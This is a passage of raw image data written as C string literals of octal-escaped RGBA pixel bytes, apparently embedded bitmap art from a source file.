"\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\230\225\225\377ppp\377ooo\347ppp\377ppp\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377$$$\377"
"\000\000\000\377\315\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\334\000\000\377\000\000\000\377\022\022\022\377\321\321\321\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\071\000\000\377\000\000\000\377\243\243\243\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\274\274\274\377<<<\377\000\000\000\377\000\000\000\377\000\000\061\377\000\000\371\377"
"\000\000\001\377\002\002\002\377YYY\377\000\000\000\377\000\000Z\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\065\377\000\000\000\377\217\217\217\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\230\225\225"
"\377ppp\377ooo\347ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232"
"\232\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\315\315\315\377\004\004\004\377\003\000\000\377"
"\367\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\257\000\000\377\000\000\000\377===\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\071\000\000\377"
"\000\000\000\377\243\243\243\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\205\205\205\377\016\016\016"
"\377\000\000\000\377\000\022\000\377\000\001\000\377\000\000\000\377\000\000\334\377\000\000\062\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\222\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\210\377\000\000\000\377JJJ\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\230\224\224\377ppp\377ppp\350"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232\232\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\266\266\266\377\000\000\000\377\040\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\210\000\000\377\000\000\000\377"
"]]]\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377:\000\000\377\000\000\000\377\242\242\242\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\272\272"
"\272\377:::\377\000\000\000\377\000\000\000\377\000T\000\377\000\352\000\377\000\040\000\377\000\000\000"
"\377\000\000\211\377\000\000\331\377\000\000B\377\000\000\036\377\000\000s\377\000\000\373\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\331\377\000\000m\377\000\000\000\377\014\014\014"
"\377\321\321\321\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\230\224\224\377ppp\377ppp\350ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\252\252\252\377"
"\000\000\000\377\061\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377a\000\000\377\000\000\000\377\177\177\177\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000"
"\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377:\000\000\377\000\000\000\377\242\242\242\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\213\213\213\377\020\021\020\377\000\000\000\377\000\017\000\377"
"\000\236\000\377\000\377\000\377\000\377\000\377\000n\000\377\000\000\000\377\000\000\066\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\330\377\000\000\203"
"\377\000\000/\377\000\000\000\377\000\000\000\377\000\000\000\377(((\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\230\224\224\377ppp\377"
"ppp\350ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232\232\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\236\236\236\377\000\000\000\377@\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377J\000\000\377\000\000\000\377"
"\226\226\226\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377:\000\000\377\000\000\000\377\242"
"\242\242\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\302\302\302\377GGG\377\000\000\000\377\000\000\000\377\000"
"E\000\377\000\342\000\377\000\377\000\377\000\377\000\377\000\263\000\377\000\027\000\377\000\000\000"
"\377\000\000\000\377\000\000\335\377\000\000\376\377\000\000\303\377\000\000n\377\000\000\040\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\025\025\025\377[[[\377\241\241\241\377\320\320"
"\320\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\230\224\224\377ppp\377ppp\350ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\222\222\222"
"\377\000\000\000\377=\000\000\377\210\000\000\377\210\000\000\377\210\000\000\377\210\000\000\377\210"
"\000\000\377\210\000\000\377\311\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377=\000\000\377\000\000\000\377\241\241\241\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000"
"\377T\000\000\377\210\000\000\377\210\000\000\377\210\000\000\377\210\000\000\377\210\000\000\377"
"\222\000\000\377\361\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377;\000\000\377\000\000\000\377\241\241\241\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377\023\023\023\377"
"\000\000\000\377\000\014\000\377\000\227\000\377\000\376\000\377\000\377\000\377\000\362\000\377\000d"
"\000\377\000\000\000\377\000\000\000\377\026\026\026\377\000\000\000\377\000\000H\377\000\000,\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\016\016\016\377PPP\377\227\227\227\377\316\316\316"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225\377"
"ppp\377ppp\351ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232"
"\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\206\206\206\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\004\000\000\377\265\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\060\000\000\377\000\000\000\377"
"\253\253\253\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377TTT\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377(\000\000\377\374\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377;\000\000\377\000\000\000\377\241\241\241\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\275\275\275\377???\377\000\000\000\377\000\000\000\377"
"\000M\000\377\000\347\000\377\000\377\000\377\000\377\000\377\000\264\000\377\000\030\000\377\000\000"
"\000\377\016\017\016\377\214\214\214\377\216\216\216\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\014\014\014\377MMM\377\224\224\224\377\315\315\315\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\231\225\225\377ppp\377ppp\351ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377}}}\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377f\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"&\000\000\377\000\000\000\377\264\264\264\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\070\070\070\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\321"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377<\000\000\377\000\000\000\377"
"\241\241\241\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\216\216\216\377\021\021\021\377\000\000"
"\000\377\000\015\000\377\000\241\000\377\000\377\000\377\000\377\000\377\000\364\000\377\000f\000\377"
"\000\001\000\377\000\000\000\377>>>\377\276\276\276\377\322\322\322\377\314\314\314\377"
"UUU\377MMM\377\222\222\222\377\314\314\314\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\231\225\225\377ppp\377p"
"pp\351ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232\232\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\210\210\210\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\006\000\000\377\260\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\060\000\000\377\000\000\000\377\253\253"
"\253\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377NNN\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377%\000\000\377\373\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377<\000\000\377\000\000\000\377\241\241\241\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\302\302\302\377FFF\377\000"
"\000\000\377\000\000\000\377\000C\000\377\000\340\000\377\000\377\000\377\000\377\000\377\000\303\000\377"
"\000\"\000\377\000\000\000\377\011\011\011\377~~~\377\321\321\321\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377"
"ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\231\225\225\377ppp\377ppp\351ppp\377ppp\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\223\223\223\377\000\000\000\377'\000\000\377w\000\000\377w\000\000\377w\000\000\377w\000\000\377"
"w\000\000\377\177\000\000\377\337\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377=\000\000\377\000\000\000\377\241\241\241\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000"
"\377@\000\000\377w\000\000\377w\000\000\377w\000\000\377w\000\000\377w\000\000\377\236\000\000\377\372"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377<\000\000"
"\377\000\000\000\377\241\241\241\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\220\220\220\377\023\023\023\377\000\000\000\377\000\014\000\377\000\231\000\377\000\376"
"\000\377\000\377\000\377\000\371\000\377\000w\000\377\000\004\000\377\000\000\000\377\061\061\061\377"
"\266\266\266\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203"
"\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\230\224\224\377ppp\377ppp\352ppp\377ppp\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\237"
"\237\237\377\000\000\000\377?\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377J\000\000\377\000\000\000\377\227\227\227\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377=\000\000\377\000\000\000\377\240\240\240\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\303\303\303\377FFF\377\000\000\000\377\000\000\000\377\000@\000\377\000\336\000\377\000\377"
"\000\377\000\377\000\377\000\320\000\377\000-\000\377\000\000\000\377\005\005\005\377ppp\377\317\317"
"\317\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377"
"ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\230\224\224\377ppp\377ppp\352ppp\377ppp\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\252\252\252\377\000\000\000\377\061\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377^\000\000\377\000\000\000\377\200\200\200\377"
